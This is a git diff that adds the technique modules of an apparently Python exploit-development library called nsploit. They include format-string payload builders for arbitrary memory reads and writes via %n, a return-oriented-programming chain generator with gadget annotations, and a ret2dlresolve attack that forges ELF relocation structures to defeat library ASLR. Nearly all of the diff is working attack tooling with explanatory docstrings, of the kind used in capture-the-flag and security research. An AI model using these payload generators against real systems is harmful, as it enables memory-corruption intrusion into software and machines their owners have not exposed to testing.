summaryrefslogtreecommitdiffstats
path: root/nsploit/tech
diff options
context:
space:
mode:
Diffstat (limited to 'nsploit/tech')
-rw-r--r--nsploit/tech/__init__.py4
-rw-r--r--nsploit/tech/fmtstring.py178
-rw-r--r--nsploit/tech/gadhint.py98
-rw-r--r--nsploit/tech/ret2dlresolve.py226
-rw-r--r--nsploit/tech/rop.py364
5 files changed, 870 insertions, 0 deletions
diff --git a/nsploit/tech/__init__.py b/nsploit/tech/__init__.py
new file mode 100644
index 0000000..a517e7f
--- /dev/null
+++ b/nsploit/tech/__init__.py
@@ -0,0 +1,4 @@
+from .fmtstring import *
+from .gadhint import *
+from .ret2dlresolve import *
+from .rop import *
diff --git a/nsploit/tech/fmtstring.py b/nsploit/tech/fmtstring.py
new file mode 100644
index 0000000..6ac74c5
--- /dev/null
+++ b/nsploit/tech/fmtstring.py
@@ -0,0 +1,178 @@
+"""
+Exploit C-style format string vulnerabilities
+
+These techniques leverage functions such as printf, fprintf, sprintf, etc. when
+run on unchecked user input to perform arbitrary memory read or write. This is
+made possible by the unintended use of user input as the function's format
+string argument, instead of an ordinary data argument. Attackers may inject
+their own conversion specifiers, which act as operating instructions to the
+function. Interesting formatters include:
+
+ %p Read argument value. These are the values of function argument
+ registers and values from the stack. The value is printed as
+ hexadecimal (with leading "0x") and interprets values as unsigned
+ long (aka, same size as arch.wordsize).
+
+ %s Read memory as asciiz string. Prints the data pointed to by
+ argument value.
+
+ %c Read argument as 8-bit character, printing the interpreted character
+ value. This formatter is useful in combination with a field width
+ specifier in order to print a controlled number of bytes to the
+ output, which is meaningful to the next formatter.
+
+ %n Write memory as integer. Prints no output, but writes the number of
+ characters printed so far to the location pointed to by the argument
+ pointer. A length modifier will control the bit-width of the
+ integer written.
+
+See `man 3 printf` for more details.
+"""
+
+from nsploit.arch import arch, btoi, itob
+from nsploit.types.payload import Payload
+from nsploit.types.payload_entry import padalign, padrel
+
+_FMTSTR_MAGIC = b"\xcd"
+
+def _make_fmtstr_payload():
+ # A typical layout will look like this:
+ # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
+ # ^ ^ ^ ^ ^ ^
+ # fmt[0] fmt[1] nul | addrs[0] addrs[1]
+ # align
+ #
+ # Many examples found online will demo placing addresses at the front. Eg:
+ # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
+ # This has the benefit that %n positional values are simple to calculate
+ # (they just start at the payload position and increase by one). However,
+ # any NULL bytes in the addresses break the exploit, since printf will stop
+ # processing its string once a NULL is encountered.
+ #
+ # Moving addresses to the end mitigates this. Wordsize alignment is then
+ # necessary to give for valid argument positions. We also intentionally
+ # NULL terminate the format string portion of the payload to prevent printf
+ # from processing beyond formatters.
+ fp = Payload()
+ fp.fmt = Payload()
+ fp.null = b"\x00"
+ fp.align = padalign(arch.wordsize)
+ fp.addrs = Payload()
+ return fp
+
+def _fixup_positionals(fp, position, offset=None):
+ if offset is None:
+ offset = fp.addrs.base // arch.wordsize
+
+ fixup = _make_fmtstr_payload()
+ fixup.addrs = fp.addrs
+
+ for i, fmt in enumerate(fp.fmt):
+ pos = position + offset + i
+ fixup.fmt(fmt.decode().format(pos).encode())
+
+ # String formatting positional values may grow the format string so much
+ # as to cause the addrs offset to shift. Detect this and correct.
+ check = fixup.addrs.base // arch.wordsize
+ if offset != check:
+ return _fixup_positionals(fp, position, check)
+
+ return fixup
+
+def fmtstr_dump(start=None, end=None):
+ """
+ Return a format string payload which dumps annotated argument values.
+
+ start (int): Starting argument position (default: 1)
+ end (int): Ending argument position (default: start + 20)
+ """
+ if start is None: start = 1
+ if end is None: end = start + 19 # inclusive, so 20 total arguments
+
+ fp = Payload()
+ fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
+ fp.fmt = Payload()
+ fp.null = b"\x00"
+
+ for pos in range(start, end+1):
+ if pos < len(arch.funcargs):
+ label = arch.funcargs[pos]
+ else:
+ offset = (pos - len(arch.funcargs)) * arch.wordsize
+ label = f"stack+{hex(offset)}"
+
+ fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode())
+
+ return fp
+
+def fmtstr_get(*positions, join=" "):
+ """
+ Return a format string payload which prints specific argument values.
+
+ positions (*int): Argument positions
+ join (str): Delimiter string
+ """
+ fp = Payload()
+ fp.fmt = Payload()
+ fp.null = join
+
+ for p in positions:
+ fp.fmt(f"{join}%{p}$p".encode())
+
+ return fp
+
+def fmtstr_read(position, address):
+ """
+ Return a format string payload which reads data (as string, via %s).
+
+ position (int): printf positional offset of payload on stack.
+ address (int): Address of data to read.
+ """
+ fp = _make_fmtstr_payload()
+ fp.fmt(b"%{}$s")
+ fp.addrs(address)
+ return _fixup_positionals(fp, position)
+
+def fmtstr_write(position, _data, _value=None):
+ """
+ Return a format string payload which writes data.
+
+ One option for calling this function is to give a write destination in _data
+ as an integer, and the value to write in _value.
+
+ Alternatively, _data may contain a dictionary, with write destinations as
+ keys and contents to write as values. _value is ignored in this case.
+
+ In either case, the contents to write is generally expected to be bytes.
+ However, integers are converted automatically via itob().
+
+ position (int): printf positional offset of payload on stack.
+ _data (int|dict{int:bytes}): Write data (see above)
+ _value (int|bytes): Write value (see above)
+ """
+ # Convert from 2-argument style to dictionary.
+ if type(_data) is int:
+ _data = { _data: _value }
+
+ pairs = {}
+
+ # Collect each 2-byte word to write.
+ for addr, value in _data.items():
+ value = itob(value) if type(value) is int else bytes(value)
+ words = [ value[i:i+2] for i in range(0, len(value), 2) ]
+ words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
+ pairs.update(words)
+
+ fp = _make_fmtstr_payload()
+ prev = 0
+
+ # Craft writes.
+ for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
+ diff = word - prev
+ prev = word
+
+ size = "" if diff == 0 else f"%{diff}c"
+ fp.fmt(f"{size}%{{}}$hn".encode())
+ fp.addrs(addr)
+
+ return _fixup_positionals(fp, position)
diff --git a/nsploit/tech/gadhint.py b/nsploit/tech/gadhint.py
new file mode 100644
index 0000000..1918a79
--- /dev/null
+++ b/nsploit/tech/gadhint.py
@@ -0,0 +1,98 @@
+import copy
+from dataclasses import dataclass, field
+
+from nsploit.rev.gadget import Gadget
+from nsploit.types.index_entry import IndexEntry
+
+@dataclass
+class GadHint(IndexEntry):
+ """
+ User-annotated gadget description object
+
+ base (Gadget|int): The gadget being annotated. May be a Gadget object or
+ an offset as an int.
+
+ pops (list[str]): The registers popped by this gadget, in order of
+ occurrence.
+
+ movs (dict{str:str}): The register-to-register moves made by this gadget.
+ Keys are destination register names, values are source register names. The
+ order given is insignificant.
+
+ imms (dict{str:int}): The immediate-to-register loads made by this gadget.
+ Keys are destination register names, values are immediate values. The order
+ given is insignificant.
+
+ writes (dict{str:str}): The register-to-memory stores made by this gadget.
+ Keys are the destination register names (which hold memory addresses),
+ values are source register names (which hold values to-be-stored). The
+ order given is insignificant.
+
+ requirements (dict{str:int}): The register state that is required before
+ this gadget should be executed. Keys are register names, values are the
+ required register values.
+
+ stack (list[int]): A list of words to append to the stack following this
+ gadget. The first element given is nearest to the top of the stack and the
+ rest follow in order.
+
+ align (bool): If True, this gadget expects the stack to be aligned prior
+ to entry.
+
+ syscall (bool): If True, this gadget contains a syscall instruction.
+
+ spm (int): "Stack pointer move" - The amount the stack pointer is adjusted
+ by this gadget. The effect of executing a terminating "return" instruction
+ should not be accounted for. A value of zero is taken as "unspecified".
+ """
+
+ base: int = 0
+ pops: list = field(default_factory=list)
+ movs: dict = field(default_factory=dict)
+ imms: dict = field(default_factory=dict)
+ writes: dict = field(default_factory=dict)
+ requirements: dict = field(default_factory=dict)
+ stack: list = field(default_factory=list)
+ align: bool = False
+ syscall: bool = False
+ spm: int = 0
+
+ @property
+ def offset(self):
+ """Return gadget offset as an integer."""
+ return int(self.base)
+
+ def with_requirements(self, reqs):
+ """Return new object with additional requirements."""
+ for k, v in reqs.items():
+ if self.requirements.get(k, v) != v:
+ raise ValueError(
+ f"GadHint: Conflicting gadget requirements: "
+ f"{self.requirements}, {reqs}")
+
+ new = copy.deepcopy(self)
+ new.requirements |= reqs
+ return new
+
+ def __repr__(self):
+ """Return human-readable GadHint."""
+ def fmt(name, prop):
+ if len(prop) > 0:
+ return f", {name}={prop}"
+ return ""
+
+ s = hex(self.base)
+ s = f"Gadget({s})" if isinstance(self.base, Gadget) else s
+ s += fmt("pops", self.pops)
+ s += fmt("movs", self.movs)
+ s += fmt("imms", self.imms)
+ s += fmt("writes", self.writes)
+ s += fmt("requirements", self.requirements)
+ s += fmt("stack", self.stack)
+ if self.align:
+ s += ", align"
+ if self.syscall:
+ s += ", syscall"
+ if self.spm > 0:
+ s += f", spm={self.spm}"
+ return f"GadHint({s})"
diff --git a/nsploit/tech/ret2dlresolve.py b/nsploit/tech/ret2dlresolve.py
new file mode 100644
index 0000000..4e9aff4
--- /dev/null
+++ b/nsploit/tech/ret2dlresolve.py
@@ -0,0 +1,226 @@
+"""
+Perform "Return to dlresolve" dynamic linker attack
+
+The ret2dlresolve technique is useful to defeat library ASLR against targets
+with partial relro (or less) and where no useable data leaks are available.
+This is specifically a workaround for ASLR of libraries such as libc, and
+addresses within the target executable are expected to be known (non-pic or
+otherwise).
+
+When a dynamic library call is performed normally, applications jump to code
+stubs in the .plt section to perform the actual relocation. This process relies
+on a couple of meta-data structures in the ELF object:
+
+Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to
+cache the real subroutine address for later calls, as well as an info field
+describing the relocation. This info field contains a type subfield and an
+index into the ELF's symbol table for the symbol to be relocated.
+
+Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the
+exploit, only the symbol name field is utilized (the others are set to zeroes).
+The name field is an offset into the ELF's string table, and the actual symbol
+name string can be found at this offset.
+
+All of the data tables mentioned above are located by their corresponding
+section in the ELF. The relocation process however does not perform any bounds
+checks to ensure the runtime data structures actually come from these sections.
+By forging custom structures, and ensuring they can be written into memory at
+precise locations, an attacker can trick the resolver to link any library
+function they desire by setting up the equivalent PLT function call via ROP.
+
+Read on for more background details:
+http://phrack.org/issues/58/4.html
+https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62
+
+Structure definitions from your standard elf.h header:
+
+typedef struct {
+ Elf32_Word st_name; /* 4b Symbol name (string tbl index) */
+ Elf32_Addr st_value; /* 4b Symbol value */
+ Elf32_Word st_size; /* 4b Symbol size */
+ unsigned char st_info; /* 1b Symbol type and binding */
+ unsigned char st_other; /* 1b Symbol visibility */
+ Elf32_Section st_shndx; /* 2b Section index */
+} Elf32_Sym;
+
+typedef struct {
+ Elf64_Word st_name; /* 4b Symbol name (string tbl index) */
+ unsigned char st_info; /* 1b Symbol type and binding */
+ unsigned char st_other; /* 1b Symbol visibility */
+ Elf64_Section st_shndx; /* 2b Section index */
+ Elf64_Addr st_value; /* 8b Symbol value */
+ Elf64_Xword st_size; /* 8b Symbol size */
+} Elf64_Sym;
+
+typedef struct {
+ Elf32_Addr r_offset; /* 4b Address */
+ Elf32_Word r_info; /* 4b Relocation type and symbol index */
+} Elf32_Rel;
+
+typedef struct {
+ Elf64_Addr r_offset; /* 8b Address */
+ Elf64_Xword r_info; /* 8b Relocation type and symbol index */
+} Elf64_Rel;
+
+Elf32_Rel.r_info = 0xAAAAAABB
+ | |
+ | type
+ symidx
+
+Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB
+ | |
+ symidx type
+"""
+
+from nsploit.arch import arch, itob
+from nsploit.rev.r2 import run_cmd
+from nsploit.tech.gadhint import GadHint
+from nsploit.tech.rop import ROP
+from nsploit.types.payload import Payload
+from nsploit.types.payload_entry import padalign, padlen, pointer
+
+_JMP_SLOT = 0x07
+
+def _symsize():
+ # Size of Elf*_Sym, used for padding and indexing
+ if arch.wordsize == 4: return 16
+ elif arch.wordsize == 8: return 24
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+def _relsize():
+ # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset)
+ if arch.wordsize == 4: return 1
+ elif arch.wordsize == 8: return 24
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+def _infoshift():
+ # Partition subfields of Elf*_Rel.r_info
+ if arch.wordsize == 4: return 8
+ elif arch.wordsize == 8: return 32
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+class Ret2dlresolve(ROP):
+ # Use constructor from ROP class
+
+ def reloc(self, symbol_name):
+ """
+ Generate relocation structures for the function with given symbol name.
+
+ The returned data structures are packed into a single Payload object.
+ This payload must be written into the target's memory before attempting
+ to use it with Ret2dlresolve.call(). Furthermore, the chosen write
+ location must be assigned to the payload base property, so that internal
+ pointers may take on the appropriate values.
+
+ See Ret2dlresolve.determine_address() for advice on choosing a write
+ location.
+
+ symbol_name (str): Name of library function to link
+ """
+ binary = self.objects[0]
+ symtab = binary.sym.sect['.dynsym']
+ strtab = binary.sym.sect['.dynstr']
+
+ try:
+ jmprel = binary.sym.sect['.rel.plt']
+ except KeyError:
+ jmprel = binary.sym.sect['.rela.plt']
+
+ # Elf*_Rel.r_info
+ info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT
+
+ # The sym structure is the most picky about its location in memory. So
+ # it is listed first in the main dlres struct, which can be placed at
+ # the desired location.
+ sym = Payload()
+ sym.name = pointer("symbol_string", lambda x: x - strtab)
+ sym.pad = padlen(_symsize(), b"\x00")
+ sym.symbol_string = symbol_name
+
+ dlres = Payload()
+ dlres.symalign = padalign(_symsize(), reference=symtab)
+ dlres.sym = sym
+ dlres.relalign = padalign(_relsize(), reference=jmprel)
+ dlres.offset = pointer()
+ dlres.info = pointer("sym", info)
+ return dlres
+
+ def determine_address(self, start=None, end=None, n=0):
+ """
+ Determine recommended address for relocation structures.
+
+ There are a couple considerations to make when determining the memory
+ locations. First of all, the location must be writable. More
+ importantly, since most items are referred to by an array index, the
+ structures themselves must be properly aligned, reference to the array
+ origins.
+
+ The payload returned from Ret2dlresolve.reloc() has some of these
+ alignments built in, but one crucial one is not. The index implied by
+ Elf*_Sym's offset from the symtab base is the same index used to lookup
+ symbol version information, reference to versym. The data at this index
+ must constitute a valid version half-word (16-bits). This function
+ attempts to ensure that the coincident version info for any returned
+ value is the data \x00\x00. Getting this wrong can cause the dlresolve
+ routine to crash.
+
+ start (int): Minimum address to recommend (default: .bss section address)
+ end (int): Maximum address to recommend (default: end of memory page)
+ n (int): Return the Nth useable address within the defined range
+ """
+ binary = self.objects[0]
+ symtab = binary.sym.sect['.dynsym']
+ versym = binary.sym.sect['.gnu.version']
+ bss = binary.sym.sect['.bss']
+
+ if start is None: start = bss
+ if end is None: end = (start & ~0xfff) + 0x1000
+
+ zero_words = run_cmd(binary.path, "/x 0000")
+ zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ]
+
+ # Size of version entry is always 2 bytes.
+ veroff = [ x - versym for x in zero_words ]
+ idx = [ x//2 for x in veroff if x%2 == 0 ]
+ symoff = [ x * _symsize() for x in idx ]
+ addr = [ x + symtab for x in symoff ]
+ addr = [ x for x in addr if start <= x < end ]
+
+ if len(addr) > n:
+ return addr[n]
+
+ raise AssertionError("Ret2dlresolve: No suitable memory location")
+
+ # Overrides ROP.call()
+ def call(self, reloc, *params):
+ """
+ Return a ROP payload to call function via dynamic linker.
+
+ reloc's base address must be set appropriately.
+
+ reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc()
+ *params (int): Remaining positional args are passed to function.
+ """
+ binary = self.objects[0]
+ plt = binary.sym.sect['.plt']
+
+ try:
+ jmprel = binary.sym.sect['.rel.plt']
+ except KeyError:
+ jmprel = binary.sym.sect['.rela.plt']
+
+ register_params = dict(zip(arch.funcargs, params))
+ stack_params = params[len(register_params):]
+ index = int(reloc.offset - jmprel) // _relsize()
+
+ reqs = GadHint(requirements=register_params)
+ call = GadHint(index, stack=stack_params)
+ ret = GadHint(self.search_gadget(arch.ret))
+
+ chain = Payload()
+ try: chain.requirements = self.gadget(reqs).requirements
+ except KeyError: pass
+ chain.alignment = padalign(0, itob(ret))
+ chain.plt = plt
+ chain.call = self.gadget(call)
+ return chain
diff --git a/nsploit/tech/rop.py b/nsploit/tech/rop.py
new file mode 100644
index 0000000..a2c348e
--- /dev/null
+++ b/nsploit/tech/rop.py
@@ -0,0 +1,364 @@
+from graphlib import TopologicalSorter
+
+from nsploit.arch import arch, btoi, itob
+from nsploit.tech.gadhint import GadHint
+from nsploit.types.payload import Payload
+from nsploit.types.payload_entry import padalign, padlen
+
+_POP_MAGIC = 0xdead
+_SPM_MAGIC = b"\x69"
+_ERROR_MAGIC = 0xbaadc0de
+
+class ROP:
+ """
+ ROP chain generation tool
+
+ This class contains methods for automating basic return-oriented programming
+ workloads, such as loading register values and calling into arbitrary
+ functions or syscalls. The tools are currently designed to work on x86
+ (32 or 64 bit) and ARM (32 bit only).
+
+ The main appeal of the ROP class is the ability to abstract away the manual
+ construction of ROP chain data, and instead make declarative statements
+ like "call this function with these arguments". The ROP class will also
+ utilize its supplied binary objects to automatically find and use trivial
+ gadgets.
+
+ The user is able to provide annotations for more complicated gadgets, which
+ help instruct the class how to incorporate them into a ROP chain. This is
+ done with the GadHint dataclass. GadHint objects are provided to a ROP
+ instance by including them in the Symtbl of one of the binary objects it is
+ constructed with. If applicable, a user-supplied gadget will take
+ precedence over automatic gadget searching. See the GadHint module to learn
+ more about the descriptive attributes that are supported.
+
+ objects (list[ELF]): The binary objects this ROP instance will consider for
+ gadget searching. If one of these is the target executable binary, it
+ should appear first in the list.
+
+ safe_syscalls (bool): If True, require that automatically found syscall
+ instructions are immediately followed by a return instruction.
+
+ align_calls (bool): If True, ensure that the stack return address into
+ function calls is aligned according to the architecture alignment property.
+
+ clean_stack (bool): If True, attempt to locate a cleaning gadget to "pop"
+ stack data that is leftover from a function call. Required if attempting
+ to make multiple calls that involve stack-based arguments.
+ """
+
+ def __init__(self, *objects, safe_syscalls=True, align_calls=True,
+ clean_stack=True):
+ """Construct new ROP builder."""
+ self.objects = objects
+ self.safe_syscalls = safe_syscalls
+ self.align_calls = align_calls
+ self.clean_stack = clean_stack
+
+ def search_gadgets(self, *regexes, cont=False):
+ """Return a list of matching gadgets, considering all objects."""
+ results = []
+ for obj in self.objects:
+ results += obj.gadgets(*regexes, cont=cont)
+ return results
+
+ def search_gadget(self, *regexes):
+ """Return the first matching gadget, considering all objects."""
+ for obj in self.objects:
+ try:
+ return obj.gadget(*regexes)
+ except:
+ pass
+ raise LookupError(
+ f"ROP: Need to define gadget symbol for {'; '.join(regexes)}")
+
+ def gadget(self, gadget):
+ """
+ Return a generic ROP payload.
+
+ gadget (GadHint): Annotated gadget to prepare a chain from.
+ """
+ return self.__build_chain(gadget, {})
+
+ def assign(self, **sets):
+ """
+ Return a ROP payload to control given registers.
+
+ **sets (str:int): Keyword arguments specify register assignments to
+ perform with this ROP chain. Argument names correspond to register
+ names.
+ """
+ return self.gadget(GadHint(requirements=sets))
+
+ def call(self, func, *params):
+ """
+ Return a ROP payload to call function.
+
+ func (int): Entry address of function to call.
+ *params (int): Remaining positional args are passed to func.
+ """
+ register_params = dict(zip(arch.funcargs, params))
+ stack_params = params[len(register_params):]
+ gadget = GadHint(func, requirements=register_params, stack=stack_params,
+ align=self.align_calls)
+ return self.gadget(gadget)
+
+ def syscall(self, *params):
+ """
+ Return a ROP payload to call kernel.
+
+ *params (int): The first argument is the syscall number. Remaining
+ positional arguments are passed to the syscall.
+ """
+ if len(params) > len(arch.kernargs):
+ raise TypeError("ROP: Too many arguments passed to syscall. "
+ f"Target architecture supports up to {len(arch.kernargs)-1}.")
+
+ register_params = dict(zip(arch.kernargs, params))
+ sc = self.__get_gadget("syscall", {})
+ return self.gadget(sc.with_requirements(register_params))
+
+ def memcpy(self, dst, src):
+ """
+ Return a ROP payload to write data into memory.
+
+ dst (int): The destination memory address.
+ src (bytes): The content to write.
+ """
+ data = Payload()
+ for idx in range(0, len(src), arch.wordsize):
+ word = btoi(src[idx:idx+arch.wordsize])
+ data(self.gadget(self.__get_write(dst+idx, word)))
+ return data
+
+ def __get_hints(self):
+ """Return all user-supplied gadget hints."""
+ return [h for obj in self.objects for _,h in obj.sym if type(h) is GadHint]
+
+ def __discover_requirements(self, seen, graph, current):
+ """
+ Populate gadget dependency graph.
+
+ This function recursively looks up gadgets to ensure all necessary
+ required gadgets can be found, and stores this information into the
+ given graph object. Established dependencies encode the order that the
+ chain builder should attempt to satisfy register requirements.
+ Dependency loops are detected by the TopologicalSorter.
+
+ seen (set): Set of (register,value) tuples we have already discovered.
+ graph (TopologicalSorter): Dependency graph model object.
+ current (GadHint): Current gadget we are processing.
+ """
+ for r, v in current.requirements.items():
+ # We key on register name _and_ value because some gadgets may
+ # only be capable of storing specific values in a target register.
+ # Requiring a register to store different values may require the
+ # use of multiple gadgets.
+ if (r, v) not in seen:
+ gadget = self.__get_gadget(r, current.requirements)
+
+ # Add gadget's requirements to the dependency graph.
+ # We say that each requirement is a 'successor' to this
+ # current gadget 'r', so that the chain builder will satisfy
+ # 'r' first. This prevents the fulfillment of 'r' from
+ # clobbering targets it requires, as the builder will satisfy
+ # them afterward.
+ for x in gadget.requirements:
+ graph.add(x, r)
+
+ # Treat gadget's load immediates as pseudo-requirements for
+ # the sake of target ordering, following the same logic
+ # as above.
+ for x in gadget.imms:
+ graph.add(x, r)
+
+ # Mark node as visited
+ seen.add((r, v))
+ self.__discover_requirements(seen, graph, gadget)
+
+ def __get_gadget(self, target, sets):
+ """
+ Get context-specific gadget.
+
+ target (str): Either "ret", "syscall", or the name of a register we
+ would like to modify.
+
+ sets (dict{str:int}): The set of other register requirements we are
+ trying to fulfill in parallel. Values may affect the gadget we decide
+ to use.
+ """
+ # First, consider user-provided hints before automatically locating
+ # gadgets.
+ for hint in self.__get_hints():
+ # Setup additional requirements based on hint's register moves.
+ # If a mov target is in sets, require to set the src to the 'sets'
+ # value.
+ addl_reqs = { src:sets[dst] for dst, src in hint.movs.items() if dst in sets }
+ hint = hint.with_requirements(addl_reqs)
+
+ # Pops will be accounted for by the chain builder.
+ # Immediates will be handled by gadget ordering in chain builder.
+ # Writes are a non-issue here.
+
+ if hint.syscall:
+ # Only consider syscalls if the target is syscall.
+ if target == "syscall":
+ return hint
+ elif target in hint.imms:
+ if hint.imms[target] == sets[target]:
+ return hint
+ elif target in hint.pops:
+ return hint
+ elif target in hint.movs:
+ return hint
+
+ # Automatically locate simple gadgets
+ if target == "ret":
+ return GadHint(self.search_gadget(arch.ret))
+
+ if target == "syscall":
+ insns = [arch.syscall, arch.ret] if self.safe_syscalls else [arch.syscall]
+ return GadHint(self.search_gadget(*insns), syscall=True)
+
+ # target == register
+ insns = [ i.format(target) for i in arch.popgad ]
+ return GadHint(self.search_gadget(*insns), pops=[target])
+
+ def __get_clean(self, size):
+ """
+ Get a stack cleaning gadget that moves sp by _at least_ size.
+
+ size (int): Minimum stack pointer move.
+ """
+ # spm values of zero (the default) can't be trusted, as in this case
+ # the user likely hasn't annotated the GadHint properly. Returning a
+ # larger move than requested is fine, since the chain builder can insert
+ # junk to be popped.
+ for hint in self.__get_hints():
+ if hint.spm >= size and hint.spm > 0:
+ return hint
+
+ results = self.search_gadgets(*arch.cleangad)
+ table = { int(g.asm[0].group(1), 0): g for g in results }
+ sizes = sorted([ x for x in table.keys() if x >= size ])
+
+ if len(sizes) > 0:
+ return GadHint(table[sizes[0]], spm=sizes[0])
+
+ raise LookupError(
+ f"ROP: Need to define a stack move gadget of at least {size}")
+
+ def __get_write(self, dst, src):
+ """
+ Get a memory write gadget, injected with requirements for user data.
+
+ dst (int): The intended memory write location.
+ src (int): The intended value to write.
+ """
+ # If any exist, take the first write provided by user hints, assuming
+ # the user's intent to specifically use _this_ write. Follow-on gadgets
+ # to setup the dst and src registers must be findable.
+ for hint in self.__get_hints():
+ if hint.writes:
+ d, s = list(hint.writes.items())[0]
+ return hint.with_requirements({d:dst, s:src})
+
+ # Only take an automatic write gadget if we can prove up front that its
+ # requirements can be met, otherwise move on. A later search result may
+ # pass the test.
+ results = self.search_gadgets(*arch.writegad)
+
+ for gad in results:
+ d = gad.asm[0].group("dst")
+ s = gad.asm[0].group("src")
+
+ try:
+ # Assert requirements are met.
+ gadget = GadHint(gad, writes={d: s}, requirements={d:dst, s:src})
+ self.__discover_requirements(set(), TopologicalSorter(), gadget)
+ return gadget
+ except:
+ pass
+
+ raise LookupError("ROP: Need to define gadgets for memory write / deps")
+
+ def __build_chain(self, gadget, sets):
+ """
+ Generate ROP chain data for a given gadget.
+
+ This function recursively builds a ROP chain for the given gadget and
+ its requirements, returning the result as a Payload.
+
+ gadget (GadHint): Current gadget to process.
+
+ sets (dict{str:int}): The set of other register requirements we are
+ trying to fulfill in parallel.
+ """
+ # Form a to-do-list of registers from our immediate requirements,
+ # attempting to order them such that we avoid overwriting/conflicting
+ # values. This may not be possible, in which case graph.static_order()
+ # will raise an exception.
+ reqs = gadget.requirements
+ graph = TopologicalSorter({ r:set() for r in reqs })
+ self.__discover_requirements(set(), graph, gadget)
+ to_do_list = [ x for x in graph.static_order() if x in reqs ]
+
+ chain = Payload()
+
+ # Start chain by satisfying to-do-list requirements.
+ if len(to_do_list) > 0:
+ chain.requirements = Payload()
+
+ while len(to_do_list) > 0:
+ r = to_do_list[0]
+ g = self.__get_gadget(r, reqs)
+ c = self.__build_chain(g, reqs)
+ chain.requirements[f"{r}_{reqs[r]}"] = c
+
+ # This gadget may satisfy multiple items in the to-do-list.
+ # Specifically, all of its pop and mov targets, and any load
+ # immediates that match our requirements. Non-matching
+ # immediates will be handled by a later gadget.
+ imms = g.imms.keys() & reqs.keys()
+ imms = [ x for x in imms if g.imms[x] == reqs[x] ]
+ done = g.pops + list(g.movs) + imms
+ to_do_list = [ x for x in to_do_list if x not in done ]
+
+ # Append chain data to execute this gadget, but respect offset == 0
+ # as a way to disable this gadget (perform a NULL gadget).
+ if gadget.offset != 0:
+ # Stack alignment if required.
+ if gadget.align:
+ ret = self.__get_gadget("ret", {})
+ chain.alignment = padalign(0, itob(ret))
+
+ # "Return address" entry into this gadget.
+ chain.gadget = gadget.offset
+
+ # The gadget's "inner stack data" will be values to be popped and
+ # additional junk data to be deallocated by the gadget itself.
+ if gadget.pops or gadget.spm > 0:
+ chain.inner = Payload()
+ chain.inner(*[ sets.get(p, _POP_MAGIC) for p in gadget.pops ])
+ if gadget.spm > 0:
+ chain.inner.pad = padlen(gadget.spm, _SPM_MAGIC)
+
+ # The gadget's "outer stack data" will be the additional values
+ # explicitly specified by the gadget. Append a separate gadget
+ # to clean up these values.
+ if gadget.stack:
+ size = len(gadget.stack) * arch.wordsize
+
+ if self.clean_stack:
+ clean = self.__get_clean(size)
+ chain.cleanup = clean.offset
+ pad = padlen(clean.spm, _SPM_MAGIC)
+ else:
+ chain.cleanup = _ERROR_MAGIC
+ pad = None
+
+ chain.outer = Payload()
+ chain.outer(*gadget.stack)
+ if pad: chain.outer.pad = pad
+
+ return chain